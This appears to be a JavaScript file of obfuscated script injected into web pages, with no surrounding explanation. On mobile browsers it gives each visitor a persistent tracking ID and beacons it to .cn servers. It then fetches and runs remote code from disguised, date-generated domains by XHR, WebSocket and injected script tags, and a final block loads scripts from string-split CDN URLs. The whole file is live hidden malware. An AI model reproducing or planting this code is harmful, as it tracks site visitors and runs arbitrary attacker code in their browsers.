function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();